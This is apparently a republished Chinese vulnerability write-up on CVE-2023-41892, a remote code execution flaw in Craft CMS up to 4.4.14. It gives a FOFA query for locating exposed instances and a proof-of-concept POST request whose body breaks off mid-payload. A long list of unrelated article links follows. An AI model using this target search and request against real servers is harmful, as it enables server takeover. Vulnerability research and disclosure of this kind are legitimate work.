当前位置: 首页 > news >正文

CraftCMS ConditionsController.php 代码执行漏洞(CVE-2023-41892)

0x01 产品简介

Craft CMS是一个开源的内容管理系统,它专注于用户友好的内容创建过程,逻辑清晰明了,是一个高度自由,高度自定义设计的平台吗,可以用来创建个人或企业网站也可以搭建企业级电子商务系统。

0x02 漏洞概述

Craft CMS在4.4.15版本之前存在远程代码执行漏洞,攻击者可构造恶意请求执行任意代码,控制服务器。

0x03 影响范围

4.0.0-RC1 <= Craft CMS <= 4.4.14

0x04 复现环境

FOFA:

title=="Welcome to Craft CMS" || header="X-Powered-By: Craft CMS"

0x05 漏洞复现 

PoC

POST /ConditionsController.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflateaction=conditions/render&test[userCondition]=craft\eleme

相关文章:

  • 【算法训练 day44 分割等和子集】
  • Mysql 插入或者更新 踩坑
  • QT系列教程(6) 几种标准对话框
  • ReactNative集成到已有iOS项目
  • 大模型日报2024-05-31
  • C++:vector的模拟实现
  • Maven 中的 classifier 属性用过没?
  • chrome 浏览器历史版本下载
  • 从openstack环境中将服务器镜像导出的简单办法
  • 分享 ASP.NET Core Web Api 中间件获取 Request Body 两个方法
  • html+CSS部分基础运用9
  • 大数据系统架构师的论文如何写
  • 【排序算法】选择排序
  • 浅谈线性化
  • 如何修改开源项目中发现的bug?
  • 自己简单写的 事件订阅机制
  • [iOS]Core Data浅析一 -- 启用Core Data
  • [译]前端离线指南(上)
  • 【编码】-360实习笔试编程题(二)-2016.03.29
  • canvas 绘制双线技巧
  • docker-consul
  • ES2017异步函数现已正式可用
  • java8-模拟hadoop
  • JWT究竟是什么呢?
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • miaov-React 最佳入门
  • python_bomb----数据类型总结
  • Python爬虫--- 1.3 BS4库的解析器
  • Spring Boot快速入门(一):Hello Spring Boot
  • 不上全站https的网站你们就等着被恶心死吧
  • 从PHP迁移至Golang - 基础篇
  • 从零开始的webpack生活-0x009:FilesLoader装载文件
  • 给初学者:JavaScript 中数组操作注意点
  • 关于 Cirru Editor 存储格式
  • 今年的LC3大会没了?
  • 开源地图数据可视化库——mapnik
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 快速构建spring-cloud+sleuth+rabbit+ zipkin+es+kibana+grafana日志跟踪平台
  • 聊聊hikari连接池的leakDetectionThreshold
  • 前嗅ForeSpider采集配置界面介绍
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 一道闭包题引发的思考
  • 移动互联网+智能运营体系搭建=你家有金矿啊!
  • 异步
  • 用Python写一份独特的元宵节祝福
  • FaaS 的简单实践
  • ​一帧图像的Android之旅 :应用的首个绘制请求
  • #Linux(权限管理)
  • ()、[]、{}、(())、[[]]等各种括号的使用
  • (1)(1.11) SiK Radio v2(一)
  • (2024)docker-compose实战 (9)部署多项目环境(LAMP+react+vue+redis+mysql+nginx)
  • (27)4.8 习题课
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (day6) 319. 灯泡开关
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏